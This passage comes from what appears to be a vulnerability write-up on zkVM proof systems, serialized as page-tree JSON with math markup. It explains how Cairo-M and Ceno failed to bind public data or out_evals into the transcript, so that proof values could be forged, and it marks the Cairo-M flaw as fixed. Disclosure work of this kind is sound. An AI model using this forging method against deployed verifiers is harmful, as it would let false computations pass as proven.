initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[117445],{"type":23,"tag":92,"props":117446,"children":117447},{"__ignoreMap":7},[117448],{"type":28,"value":117443},{"type":23,"tag":24,"props":117450,"children":117451},{},[117452],{"type":23,"tag":2532,"props":117453,"children":117454},{},[117455],{"type":28,"value":114991},{"type":23,"tag":24,"props":117457,"children":117458},{},[117459],{"type":23,"tag":1116,"props":117460,"children":117463},{"alt":117461,"src":117462},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":24,"props":117465,"children":117466},{},[117467,117469,117475],{"type":28,"value":117468},"Lookup challenges are derived without ",{"type":23,"tag":92,"props":117470,"children":117472},{"className":117471},[],[117473],{"type":28,"value":117474},"public_data",{"type":28,"value":117476}," being  mixed into the transcript.",{"type":23,"tag":24,"props":117478,"children":117479},{},[117480,117481,117486,117488,117493],{"type":28,"value":16084},{"type":23,"tag":92,"props":117482,"children":117484},{"className":117483},[],[117485],{"type":28,"value":117474},{"type":28,"value":117487}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":55,"props":117489,"children":117490},{},[117491],{"type":28,"value":117492},"denominators",{"type":28,"value":117494}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":24,"props":117496,"children":117497},{},[117498],{"type":23,"tag":92,"props":117499,"children":117501},{"className":117500},[1183,1184],[117502],{"type":23,"tag":134,"props":117503,"children":117505},{"className":117504},[1189],[117506],{"type":23,"tag":134,"props":117507,"children":117509},{"className":117508,"ariaHidden":1195},[1194],[117510,117570,117616,117662],{"type":23,"tag":134,"props":117511,"children":117513},{"className":117512},[1200],[117514,117518,117524,117529,117538,117543,117552,117557,117561,117566],{"type":23,"tag":134,"props":117515,"children":117517},{"className":117516,"style":92501},[1205],[],{"type":23,"tag":134,"props":117519,"children":117521},{"className":117520},[1211,21066],[117522],{"type":28,"value":117523},"L",{"type":23,"tag":134,"props":117525,"children":117527},{"className":117526},[21195],[117528],{"type":28,"value":272},{"type":23,"tag":134,"props":117530,"children":117532},{"className":117531},[1211,28],[117533],{"type":23,"tag":134,"props":117534,"children":117536},{"className":117535},[1211],[117537],{"type":28,"value":61183},{"type":23,"tag":134,"props":117539,"children":117541},{"className":117540,"style":92559},[1211],[117542],{"type":28,"value":247},{"type":23,"tag":134,"props":117544,"children":117546},{"className":117545},[1211,28],[117547],{"type":23,"tag":134,"props":117548,"children":117550},{"className":117549},[1211],[117551],{"type":28,"value":892},{"type":23,"tag":134,"props":117553,"children":117555},{"className":117554},[21217],[117556],{"type":28,"value":296},{"type":23,"tag":134,"props":117558,"children":117560},{"className":117559,"style":1293},[1292],[],{"type":23,"tag":134,"props":117562,"children":117564},{"className":117563},[1298],[117565],{"type":28,"value":1586},{"type":23,"tag":134,"props":117567,"children":117569},{"className":117568,"style":1293},[1292],[],{"type":23,"tag":134,"props":117571,"children":117573},{"className":117572},[1200],[117574,117578,117588,117593,117603,117607,117612],{"type":23,"tag":134,"props":117575,"children":117577},{"className":117576,"style":92501},[1205],[],{"type":23,"tag":134,"props":117579,"children":117581},{"className":117580},[1211,28],[117582],{"type":23,"tag":134,"props":117583,"children":117585},{"className":117584},[1211],[117586],{"type":28,"value":117587},"(other transcript",{"type":23,"tag":134,"props":117589,"children":117591},{"className":117590,"style":92559},[1211],[117592],{"type":28,"value":247},{"type":23,"tag":134,"props":117594,"children":117596},{"className":117595},[1211,28],[117597],{"type":23,"tag":134,"props":117598,"children":117600},{"className":117599},[1211],[117601],{"type":28,"value":117602},"bound terms)",{"type":23,"tag":134,"props":117604,"children":117606},{"className":117605,"style":1390},[1292],[],{"type":23,"tag":134,"props":117608,"children":117610},{"className":117609},[1395],[117611],{"type":28,"value":257},{"type":23,"tag":134,"props":117613,"children":117615},{"className":117614,"style":1390},[1292],[],{"type":23,"tag":134,"props":117617,"children":117619},{"className":117618},[1200],[117620,117625,117630,117635,117640,117644,117649,117653,117658],{"type":23,"tag":134,"props":117621,"children":117624},{"className":117622,"style":117623},[1205],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":134,"props":117626,"children":117628},{"className":117627},[1211],[117629],{"type":28,"value":1224},{"type":23,"tag":134,"props":117631,"children":117633},{"className":117632},[1324],[117634],{"type":28,"value":1327},{"type":23,"tag":134,"props":117636,"children":117639},{"className":117637,"style":117638},[1292],"margin-right:2em;",[],{"type":23,"tag":134,"props":117641,"children":117643},{"className":117642,"style":1331},[1292],[],{"type":23,"tag":134,"props":117645,"children":117647},{"className":117646},[1211,21066],[117648],{"type":28,"value":117523},{"type":23,"tag":134,"props":117650,"children":117652},{"className":117651,"style":1390},[1292],[],{"type":23,"tag":134,"props":117654,"children":117656},{"className":117655},[1395],[117657],{"type":28,"value":257},{"type":23,"tag":134,"props":117659,"children":117661},{"className":117660,"style":1390},[1292],[],{"type":23,"tag":134,"props":117663,"children":117665},{"className":117664},[1200],[117666,117671,117728,117732,117950],{"type":23,"tag":134,"props":117667,"children":117670},{"className":117668,"style":117669},[1205],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":134,"props":117672,"children":117674},{"className":117673},[21102],[117675,117680],{"type":23,"tag":134,"props":117676,"children":117678},{"className":117677,"style":21109},[21102,21107,21108],[117679],{"type":28,"value":108354},{"type":23,"tag":134,"props":117681,"children":117683},{"className":117682},[1228],[117684],{"type":23,"tag":134,"props":117685,"children":117687},{"className":117686},[1233,21120],[117688,117717],{"type":23,"tag":134,"props":117689,"children":117691},{"className":117690},[1238],[117692,117712],{"type":23,"tag":134,"props":117693,"children":117695},{"className":117694,"style":113766},[1243],[117696],{"type":23,"tag":134,"props":117697,"children":117698},{"style":21133},[117699,117703],{"type":23,"tag":134,"props":117700,"children":117702},{"className":117701,"style":1253},[1252],[],{"type":23,"tag":134,"props":117704,"children":117706},{"className":117705},[1258,1259,1260,1261],[117707],{"type":23,"tag":134,"props":117708,"children":117710},{"className":117709},[1211,21066,1261],[117711],{"type":28,"value":929},{"type":23,"tag":134,"props":117713,"children":117715},{"className":117714},[21223],[117716],{"type":28,"value":21226},{"type":23,"tag":134,"props":117718,"children":117720},{"className":117719},[1238],[117721],{"type":23,"tag":134,"props":117722,"children":117724},{"className":117723,"style":114046},[1243],[117725],{"type":23,"tag":134,"props":117726,"children":117727},{},[],{"type":23,"tag":134,"props":117729,"children":117731},{"className":117730,"style":1331},[1292],[],{"type":23,"tag":134,"props":117733,"children":117735},{"className":117734},[1211],[117736,117740,117946],{"type":23,"tag":134,"props":117737,"children":117739},{"className":117738},[21195,113077],[],{"type":23,"tag":134,"props":117741,"children":117743},{"className":117742},[113082],[117744],{"type":23,"tag":134,"props":117745,"children":117747},{"className":117746},[1233,21120],[117748,117934],{"type":23,"tag":134,"props":117749,"children":117751},{"className":117750},[1238],[117752,117929],{"type":23,"tag":134,"props":117753,"children":117755},{"className":117754,"style":113095},[1243],[117756,117898,117909],{"type":23,"tag":134,"props":117757,"children":117758},{"style":113099},[117759,117763],{"type":23,"tag":134,"props":117760,"children":117762},{"className":117761,"style":111730},[1252],[],{"type":23,"tag":134,"props":117764,"children":117766},{"className":117765},[1258,1259,1260,1261],[117767],{"type":23,"tag":134,"props":117768,"children":117770},{"className":117769},[1211,1261],[117771,117776,117781,117787,117792,117797,117854,117859,117868,117873,117882,117888,117893],{"type":23,"tag":134,"props":117772,"children":117774},{"className":117773,"style":113116},[1211,21066,1261],[117775],{"type":28,"value":113119},{"type":23,"tag":134,"props":117777,"children":117779},{"className":117778},[1298,1261],[117780],{"type":28,"value":1586},{"type":23,"tag":134,"props":117782,"children":117784},{"className":117783},[21195,1261],[117785],{"type":28,"value":117786},"⟨",{"type":23,"tag":134,"props":117788,"children":117790},{"className":117789,"style":114647},[1211,21066,1261],[117791],{"type":28,"value":114650},{"type":23,"tag":134,"props":117793,"children":117795},{"className":117794},[1324,1261],[117796],{"type":28,"value":1327},{"type":23,"tag":134,"props":117798,"children":117800},{"className":117799},[1211,1261],[117801,117806],{"type":23,"tag":134,"props":117802,"children":117804},{"className":117803},[1211,21066,1261],[117805],{"type":28,"value":21208},{"type":23,"tag":134,"props":117807,"children":117809},{"className":117808},[1228],[117810],{"type":23,"tag":134,"props":117811,"children":117813},{"className":117812},[1233,21120],[117814,117843],{"type":23,"tag":134,"props":117815,"children":117817},{"className":117816},[1238],[117818,117838],{"type":23,"tag":134,"props":117819,"children":117821},{"className":117820,"style":113883},[1243],[117822],{"type":23,"tag":134,"props":117823,"children":117824},{"style":108414},[117825,117829],{"type":23,"tag":134,"props":117826,"children":117828},{"className":117827,"style":108419},[1252],[],{"type":23,"tag":134,"props":117830,"children":117832},{"className":117831},[1258,108424,108425,1261],[117833],{"type":23,"tag":134,"props":117834,"children":117836},{"className":117835},[1211,21066,1261],[117837],{"type":28,"value":929},{"type":23,"tag":134,"props":117839,"children":117841},{"className":117840},[21223],[117842],{"type":28,"value":21226},{"type":23,"tag":134,"props":117844,"children":117846},{"className":117845},[1238],[117847],{"type":23,"tag":134,"props":117848,"children":117850},{"className":117849,"style":108444},[1243],[117851],{"type":23,"tag":134,"props":117852,"children":117853},{},[],{"type":23,"tag":134,"props":117855,"children":117857},{"className":117856},[21195,1261],[117858],{"type":28,"value":272},{"type":23,"tag":134,"props":117860,"children":117862},{"className":117861},[1211,28,1261],[117863],{"type":23,"tag":134,"props":117864,"children":117866},{"className":117865},[1211,1261],[117867],{"type":28,"value":61183},{"type":23,"tag":134,"props":117869,"children":117871},{"className":117870,"style":92559},[1211,1261],[117872],{"type":28,"value":247},{"type":23,"tag":134,"props":117874,"children":117876},{"className":117875},[1211,28,1261],[117877],{"type":23,"tag":134,"props":117878,"children":117880},{"className":117879},[1211,1261],[117881],{"type":28,"value":892},{"type":23,"tag":134,"props":117883,"children":117885},{"className":117884},[21217,1261],[117886],{"type":28,"value":117887},")⟩",{"type":23,"tag":134,"props":117889,"children":117891},{"className":117890},[1298,1261],[117892],{"type":28,"value":1586},{"type":23,"tag":134,"props":117894,"children":117896},{"className":117895,"style":114702},[1211,21066,1261],[117897],{"type":28,"value":114705},{"type":23,"tag":134,"props":117899,"children":117900},{"style":113132},[117901,117905],{"type":23,"tag":134,"props":117902,"children":117904},{"className":117903,"style":111730},[1252],[],{"type":23,"tag":134,"props":117906,"children":117908},{"className":117907,"style":113142},[113141],[],{"type":23,"tag":134,"props":117910,"children":117911},{"style":113146},[117912,117916],{"type":23,"tag":134,"props":117913,"children":117915},{"className":117914,"style":111730},[1252],[],{"type":23,"tag":134,"props":117917,"children":117919},{"className":117918},[1258,1259,1260,1261],[117920],{"type":23,"tag":134,"props":117921,"children":117923},{"className":117922},[1211,1261],[117924],{"type":23,"tag":134,"props":117925,"children":117927},{"className":117926},[1211,1261],[117928],{"type":28,"value":1214},{"type":23,"tag":134,"props":117930,"children":117932},{"className":117931},[21223],[117933],{"type":28,"value":21226},{"type":23,"tag":134,"props":117935,"children":117937},{"className":117936},[1238],[117938],{"type":23,"tag":134,"props":117939,"children":117942},{"className":117940,"style":117941},[1243],"height:0.562em;",[117943],{"type":23,"tag":134,"props":117944,"children":117945},{},[],{"type":23,"tag":134,"props":117947,"children":117949},{"className":117948},[21217,113077],[],{"type":23,"tag":134,"props":117951,"children":117953},{"className":117952},[1211],[117954],{"type":28,"value":720},{"type":23,"tag":24,"props":117956,"children":117957},{},[117958,117960],{"type":28,"value":117959},"The global check is then that ",{"type":23,"tag":92,"props":117961,"children":117963},{"className":117962},[1183,1184],[117964],{"type":23,"tag":134,"props":117965,"children":117967},{"className":117966},[1189],[117968],{"type":23,"tag":134,"props":117969,"children":117971},{"className":117970,"ariaHidden":1195},[1194],[117972,118013,118044],{"type":23,"tag":134,"props":117973,"children":117975},{"className":117974},[1200],[117976,117980,117985,117990,117995,118000,118004,118009],{"type":23,"tag":134,"props":117977,"children":117979},{"className":117978,"style":1313},[1205],[],{"type":23,"tag":134,"props":117981,"children":117983},{"className":117982},[1211,21066],[117984],{"type":28,"value":117523},{"type":23,"tag":134,"props":117986,"children":117988},{"className":117987},[21195],[117989],{"type":28,"value":272},{"type":23,"tag":134,"props":117991,"children":117993},{"className":117992},[1211,21066],[117994],{"type":28,"value":24},{"type":23,"tag":134,"props":117996,"children":117998},{"className":117997},[21217],[117999],{"type":28,"value":296},{"type":23,"tag":134,"props":118001,"children":118003},{"className":118002,"style":1293},[1292],[],{"type":23,"tag":134,"props":118005,"children":118007},{"className":118006},[1298],[118008],{"type":28,"value":1586},{"type":23,"tag":134,"props":118010,"children":118012},{"className":118011,"style":1293},[1292],[],{"type":23,"tag":134,"props":118014,"children":118016},{"className":118015},[1200],[118017,118021,118031,118035,118040],{"type":23,"tag":134,"props":118018,"children":118020},{"className":118019,"style":1313},[1205],[],{"type":23,"tag":134,"props":118022,"children":118024},{"className":118023},[1211,28],[118025],{"type":23,"tag":134,"props":118026,"children":118028},{"className":118027},[1211],[118029],{"type":28,"value":118030},"(other terms)",{"type":23,"tag":134,"props":118032,"children":118034},{"className":118033,"style":1390},[1292],[],{"type":23,"tag":134,"props":118036,"children":118038},{"className":118037},[1395],[118039],{"type":28,"value":257},{"type":23,"tag":134,"props":118041,"children":118043},{"className":118042,"style":1390},[1292],[],{"type":23,"tag":134,"props":118045,"children":118047},{"className":118046},[1200],[118048,118052],{"type":23,"tag":134,"props":118049,"children":118051},{"className":118050,"style":93590},[1205],[],{"type":23,"tag":134,"props":118053,"children":118055},{"className":118054},[1211],[118056],{"type":28,"value":1224},{"type":23,"tag":24,"props":118058,"children":118059},{},[118060],{"type":28,"value":118061},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":23,"tag":24,"props":118063,"children":118064},{},[118065],{"type":28,"value":118066},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":23,"tag":24,"props":118068,"children":118069},{},[118070,118074,118076],{"type":23,"tag":2532,"props":118071,"children":118072},{},[118073],{"type":28,"value":116269},{"type":28,"value":118075}," Fixed on October 31, 2025 via ",{"type":23,"tag":31,"props":118077,"children":118080},{"href":118078,"rel":118079},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[35],[118081],{"type":28,"value":118082},"commit 92b6740",{"type":23,"tag":18268,"props":118084,"children":118085},{},[],{"type":23,"tag":9072,"props":118087,"children":118089},{"id":118088},"ceno-scroll",[118090],{"type":28,"value":118091},"Ceno (Scroll)",{"type":23,"tag":24,"props":118093,"children":118094},{},[118095],{"type":28,"value":118096},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":23,"tag":24,"props":118098,"children":118099},{},[118100,118102,118107],{"type":28,"value":118101},"Ceno splits verification into ",{"type":23,"tag":2532,"props":118103,"children":118104},{},[118105],{"type":28,"value":118106},"chips",{"type":28,"value":118108},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":23,"tag":24,"props":118110,"children":118111},{},[118112,118114,118119],{"type":28,"value":118113},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":23,"tag":2532,"props":118115,"children":118116},{},[118117],{"type":28,"value":118118},"tower sumcheck",{"type":28,"value":720},{"type":23,"tag":24,"props":118121,"children":118122},{},[118123],{"type":28,"value":118124},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":23,"tag":24,"props":118126,"children":118127},{},[118128],{"type":23,"tag":92,"props":118129,"children":118131},{"className":118130},[1183,1184],[118132],{"type":23,"tag":134,"props":118133,"children":118135},{"className":118134},[1189],[118136],{"type":23,"tag":134,"props":118137,"children":118139},{"className":118138,"ariaHidden":1195},[1194],[118140,118314,118487],{"type":23,"tag":134,"props":118141,"children":118143},{"className":118142},[1200],[118144,118148,118206,118210,118219,118224,118234,118239,118301,118305,118310],{"type":23,"tag":134,"props":118145,"children":118147},{"className":118146,"style":92501},[1205],[],{"type":23,"tag":134,"props":118149,"children":118151},{"className":118150},[21102],[118152,118158],{"type":23,"tag":134,"props":118153,"children":118155},{"className":118154,"style":21109},[21102,21107,21108],[118156],{"type":28,"value":118157},"∏",{"type":23,"tag":134,"props":118159,"children":118161},{"className":118160},[1228],[118162],{"type":23,"tag":134,"props":118163,"children":118165},{"className":118164},[1233,21120],[118166,118195],{"type":23,"tag":134,"props":118167,"children":118169},{"className":118168},[1238],[118170,118190],{"type":23,"tag":134,"props":118171,"children":118173},{"className":118172,"style":113766},[1243],[118174],{"type":23,"tag":134,"props":118175,"children":118176},{"style":21133},[118177,118181],{"type":23,"tag":134,"props":118178,"children":118180},{"className":118179,"style":1253},[1252],[],{"type":23,"tag":134,"props":118182,"children":118184},{"className":118183},[1258,1259,1260,1261],[118185],{"type":23,"tag":134,"props":118186,"children":118188},{"className":118187},[1211,21066,1261],[118189],{"type":28,"value":929},{"type":23,"tag":134,"props":118191,"children":118193},{"className":118192},[21223],[118194],{"type":28,"value":21226},{"type":23,"tag":134,"props":118196,"children":118198},{"className":118197},[1238],[118199],{"type":23,"tag":134,"props":118200,"children":118202},{"className":118201,"style":114046},[1243],[118203],{"type":23,"tag":134,"props":118204,"children":118205},{},[],{"type":23,"tag":134,"props":118207,"children":118209},{"className":118208,"style":1331},[1292],[],{"type":23,"tag":134,"props":118211,"children":118213},{"className":118212},[1211,28],[118214],{"type":23,"tag":134,"props":118215,"children":118217},{"className":118216},[1211],[118218],{"type":28,"value":93378},{"type":23,"tag":134,"props":118220,"children":118222},{"className":118221,"style":92559},[1211],[118223],{"type":28,"value":247},{"type":23,"tag":134,"props":118225,"children":118227},{"className":118226},[1211,28],[118228],{"type":23,"tag":134,"props":118229,"children":118231},{"className":118230},[1211],[118232],{"type":28,"value":118233},"out",{"type":23,"tag":134,"props":118235,"children":118237},{"className":118236,"style":92559},[1211],[118238],{"type":28,"value":247},{"type":23,"tag":134,"props":118240,"children":118242},{"className":118241},[1211],[118243,118253],{"type":23,"tag":134,"props":118244,"children":118246},{"className":118245},[1211,28],[118247],{"type":23,"tag":134,"props":118248,"children":118250},{"className":118249},[1211],[118251],{"type":28,"value":118252},"evals",{"type":23,"tag":134,"props":118254,"children":118256},{"className":118255},[1228],[118257],{"type":23,"tag":134,"props":118258,"children":118260},{"className":118259},[1233,21120],[118261,118290],{"type":23,"tag":134,"props":118262,"children":118264},{"className":118263},[1238],[118265,118285],{"type":23,"tag":134,"props":118266,"children":118268},{"className":118267,"style":93088},[1243],[118269],{"type":23,"tag":134,"props":118270,"children":118271},{"style":113689},[118272,118276],{"type":23,"tag":134,"props":118273,"children":118275},{"className":118274,"style":1253},[1252],[],{"type":23,"tag":134,"props":118277,"children":118279},{"className":118278},[1258,1259,1260,1261],[118280],{"type":23,"tag":134,"props":118281,"children":118283},{"className":118282},[1211,21066,1261],[118284],{"type":28,"value":929},{"type":23,"tag":134,"props":118286,"children":118288},{"className":118287},[21223],[118289],{"type":28,"value":21226},{"type":23,"tag":134,"props":118291,"children":118293},{"className":118292},[1238],[118294],{"type":23,"tag":134,"props":118295,"children":118297},{"className":118296,"style":92642},[1243],[118298],{"type":23,"tag":134,"props":118299,"children":118300},{},[],{"type":23,"tag":134,"props":118302,"children":118304},{"className":118303,"style":1390},[1292],[],{"type":23,"tag":134,"props":118306,"children":118308},{"className":118307},[1395],[118309],{"type":28,"value":257},{"type":23,"tag":134,"props":118311,"children":118313},{"className":118312,"style":1390},[1292],[],{"type":23,"tag":134,"props":118315,"children":118317},{"className":118316},[1200],[118318,118323,118380,118384,118393,118398,118407,118412,118474,118478,118483],{"type":23,"tag":134,"props":118319,"children":118322},{"className":118320,"style":118321},[1205],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":134,"props":118324,"children":118326},{"className":118325},[21102],[118327,118332],{"type":23,"tag":134,"props":118328,"children":118330},{"className":118329,"style":21109},[21102,21107,21108],[118331],{"type":28,"value":118157},{"type":23,"tag":134,"props":118333,"children":118335},{"className":118334},[1228],[118336],{"type":23,"tag":134,"props":118337,"children":118339},{"className":118338},[1233,21120],[118340,118369],{"type":23,"tag":134,"props":118341,"children":118343},{"className":118342},[1238],[118344,118364],{"type":23,"tag":134,"props":118345,"children":118347},{"className":118346,"style":113766},[1243],[118348],{"type":23,"tag":134,"props":118349,"children":118350},{"style":21133},[118351,118355],{"type":23,"tag":134,"props":118352,"children":118354},{"className":118353,"style":1253},[1252],[],{"type":23,"tag":134,"props":118356,"children":118358},{"className":118357},[1258,1259,1260,1261],[118359],{"type":23,"tag":134,"props":118360,"children":118362},{"className":118361,"style":113782},[1211,21066,1261],[118363],{"type":28,"value":8116},{"type":23,"tag":134,"props":118365,"children":118367},{"className":118366},[21223],[118368],{"type":28,"value":21226},{"type":23,"tag":134,"props":118370,"children":118372},{"className":118371},[1238],[118373],{"type":23,"tag":134,"props":118374,"children":118376},{"className":118375,"style":113797},[1243],[118377],{"type":23,"tag":134,"props":118378,"children":118379},{},[],{"type":23,"tag":134,"props":118381,"children":118383},{"className":118382,"style":1331},[1292],[],{"type":23,"tag":134,"props":118385,"children":118387},{"className":118386},[1211,28],[118388],{"type":23,"tag":134,"props":118389,"children":118391},{"className":118390},[1211],[118392],{"type":28,"value":49077},{"type":23,"tag":134,"props":118394,"children":118396},{"className":118395,"style":92559},[1211],[118397],{"type":28,"value":247},{"type":23,"tag":134,"props":118399,"children":118401},{"className":118400},[1211,28],[118402],{"type":23,"tag":134,"props":118403,"children":118405},{"className":118404},[1211],[118406],{"type":28,"value":118233},{"type":23,"tag":134,"props":118408,"children":118410},{"className":118409,"style":92559},[1211],[118411],{"type":28,"value":247},{"type":23,"tag":134,"props":118413,"children":118415},{"className":118414},[1211],[118416,118425],{"type":23,"tag":134,"props":118417,"children":118419},{"className":118418},[1211,28],[118420],{"type":23,"tag":134,"props":118421,"children":118423},{"className":118422},[1211],[118424],{"type":28,"value":118252},{"type":23,"tag":134,"props":118426,"children":118428},{"className":118427},[1228],[118429],{"type":23,"tag":134,"props":118430,"children":118432},{"className":118431},[1233,21120],[118433,118462],{"type":23,"tag":134,"props":118434,"children":118436},{"className":118435},[1238],[118437,118457],{"type":23,"tag":134,"props":118438,"children":118440},{"className":118439,"style":93088},[1243],[118441],{"type":23,"tag":134,"props":118442,"children":118443},{"style":113689},[118444,118448],{"type":23,"tag":134,"props":118445,"children":118447},{"className":118446,"style":1253},[1252],[],{"type":23,"tag":134,"props":118449,"children":118451},{"className":118450},[1258,1259,1260,1261],[118452],{"type":23,"tag":134,"props":118453,"children":118455},{"className":118454,"style":113782},[1211,21066,1261],[118456],{"type":28,"value":8116},{"type":23,"tag":134,"props":118458,"children":118460},{"className":118459},[21223],[118461],{"type":28,"value":21226},{"type":23,"tag":134,"props":118463,"children":118465},{"className":118464},[1238],[118466],{"type":23,"tag":134,"props":118467,"children":118470},{"className":118468,"style":118469},[1243],"height:0.2861em;",[118471],{"type":23,"tag":134,"props":118472,"children":118473},{},[],{"type":23,"tag":134,"props":118475,"children":118477},{"className":118476,"style":1293},[1292],[],{"type":23,"tag":134,"props":118479,"children":118481},{"className":118480},[1298],[118482],{"type":28,"value":110821},{"type":23,"tag":134,"props":118484,"children":118486},{"className":118485,"style":1293},[1292],[],{"type":23,"tag":134,"props":118488,"children":118490},{"className":118489},[1200],[118491,118495,118500,118510],{"type":23,"tag":134,"props":118492,"children":118494},{"className":118493,"style":1313},[1205],[],{"type":23,"tag":134,"props":118496,"children":118498},{"className":118497},[21195],[118499],{"type":28,"value":272},{"type":23,"tag":134,"props":118501,"children":118503},{"className":118502},[1211,28],[118504],{"type":23,"tag":134,"props":118505,"children":118507},{"className":118506},[1211],[118508],{"type":28,"value":118509},"state factors",{"type":23,"tag":134,"props":118511,"children":118513},{"className":118512},[21217],[118514],{"type":28,"value":296},{"type":23,"tag":24,"props":118516,"children":118517},{},[118518],{"type":23,"tag":2532,"props":118519,"children":118520},{},[118521],{"type":28,"value":114975},{"type":23,"tag":87,"props":118523,"children":118525},{"code":118524},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[118526],{"type":23,"tag":92,"props":118527,"children":118528},{"__ignoreMap":7},[118529],{"type":28,"value":118524},{"type":23,"tag":24,"props":118531,"children":118532},{},[118533,118539,118540,118546,118547,118553],{"type":23,"tag":92,"props":118534,"children":118536},{"className":118535},[],[118537],{"type":28,"value":118538},"r_out_evals",{"type":28,"value":242},{"type":23,"tag":92,"props":118541,"children":118543},{"className":118542},[],[118544],{"type":28,"value":118545},"w_out_evals",{"type":28,"value":5945},{"type":23,"tag":92,"props":118548,"children":118550},{"className":118549},[],[118551],{"type":28,"value":118552},"lk_out_evals",{"type":28,"value":118554}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":4890,"props":118556,"children":118557},{},[118558],{"type":23,"tag":4894,"props":118559,"children":118560},{},[118561,118566,118568,118574],{"type":23,"tag":2532,"props":118562,"children":118563},{},[118564],{"type":28,"value":118565},"GKR/Tower equation",{"type":28,"value":118567}," (linear in ",{"type":23,"tag":92,"props":118569,"children":118571},{"className":118570},[],[118572],{"type":28,"value":118573},"out_evals",{"type":28,"value":23436},{"type":23,"tag":24,"props":118576,"children":118577},{},[118578,118580],{"type":28,"value":118579},"The tower sumcheck claim is ",{"type":23,"tag":92,"props":118581,"children":118583},{"className":118582},[1183,1184],[118584],{"type":23,"tag":134,"props":118585,"children":118587},{"className":118586},[1189],[118588],{"type":23,"tag":134,"props":118589,"children":118591},{"className":118590,"ariaHidden":1195},[1194],[118592,118623,118748],{"type":23,"tag":134,"props":118593,"children":118595},{"className":118594},[1200],[118596,118600,118610,118614,118619],{"type":23,"tag":134,"props":118597,"children":118599},{"className":118598,"style":92474},[1205],[],{"type":23,"tag":134,"props":118601,"children":118603},{"className":118602},[1211,28],[118604],{"type":23,"tag":134,"props":118605,"children":118607},{"className":118606},[1211],[118608],{"type":28,"value":118609},"claim",{"type":23,"tag":134,"props":118611,"children":118613},{"className":118612,"style":1390},[1292],[],{"type":23,"tag":134,"props":118615,"children":118617},{"className":118616},[1395],[118618],{"type":28,"value":257},{"type":23,"tag":134,"props":118620,"children":118622},{"className":118621,"style":1390},[1292],[],{"type":23,"tag":134,"props":118624,"children":118626},{"className":118625},[1200],[118627,118632,118689,118693,118735,118739,118744],{"type":23,"tag":134,"props":118628,"children":118631},{"className":118629,"style":118630},[1205],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":134,"props":118633,"children":118635},{"className":118634},[21102],[118636,118641],{"type":23,"tag":134,"props":118637,"children":118639},{"className":118638,"style":21109},[21102,21107,21108],[118640],{"type":28,"value":108354},{"type":23,"tag":134,"props":118642,"children":118644},{"className":118643},[1228],[118645],{"type":23,"tag":134,"props":118646,"children":118648},{"className":118647},[1233,21120],[118649,118678],{"type":23,"tag":134,"props":118650,"children":118652},{"className":118651},[1238],[118653,118673],{"type":23,"tag":134,"props":118654,"children":118656},{"className":118655,"style":113766},[1243],[118657],{"type":23,"tag":134,"props":118658,"children":118659},{"style":21133},[118660,118664],{"type":23,"tag":134,"props":118661,"children":118663},{"className":118662,"style":1253},[1252],[],{"type":23,"tag":134,"props":118665,"children":118667},{"className":118666},[1258,1259,1260,1261],[118668],{"type":23,"tag":134,"props":118669,"children":118671},{"className":118670,"style":113782},[1211,21066,1261],[118672],{"type":28,"value":8116},{"type":23,"tag":134,"props":118674,"children":118676},{"className":118675},[21223],[118677],{"type":28,"value":21226},{"type":23,"tag":134,"props":118679,"children":118681},{"className":118680},[1238],[118682],{"type":23,"tag":134,"props":118683,"children":118685},{"className":118684,"style":113797},[1243],[118686],{"type":23,"tag":134,"props":118687,"children":118688},{},[],{"type":23,"tag":134,"props":118690,"children":118692},{"className":118691,"style":1331},[1292],[],{"type":23,"tag":134,"props":118694,"children":118696},{"className":118695},[1211],[118697,118702],{"type":23,"tag":134,"props":118698,"children":118700},{"className":118699,"style":114647},[1211,21066],[118701],{"type":28,"value":114650},{"type":23,"tag":134,"props":118703,"children":118705},{"className":118704},[1228],[118706],{"type":23,"tag":134,"props":118707,"children":118709},{"className":118708},[1233],[118710],{"type":23,"tag":134,"props":118711,"children":118713},{"className":118712},[1238],[118714],{"type":23,"tag":134,"props":118715,"children":118718},{"className":118716,"style":118717},[1243],"height:0.8247em;",[118719],{"type":23,"tag":134,"props":118720,"children":118721},{"style":1247},[118722,118726],{"type":23,"tag":134,"props":118723,"children":118725},{"className":118724,"style":1253},[1252],[],{"type":23,"tag":134,"props":118727,"children":118729},{"className":118728},[1258,1259,1260,1261],[118730],{"type":23,"tag":134,"props":118731,"children":118733},{"className":118732,"style":113782},[1211,21066,1261],[118734],{"type":28,"value":8116},{"type":23,"tag":134,"props":118736,"children":118738},{"className":118737,"style":1293},[1292],[],{"type":23,"tag":134,"props":118740,"children":118742},{"className":118741},[1298],[118743],{"type":28,"value":110821},{"type":23,"tag":134,"props":118745,"children":118747},{"className":118746,"style":1293},[1292],[],{"type":23,"tag":134,"props":118749,"children":118751},{"className":118750},[1200],[118752,118756,118765,118770],{"type":23,"tag":134,"props":118753,"children":118755},{"className":118754,"style":93972},[1205],[],{"type":23,"tag":134,"props":118757,"children":118759},{"className":11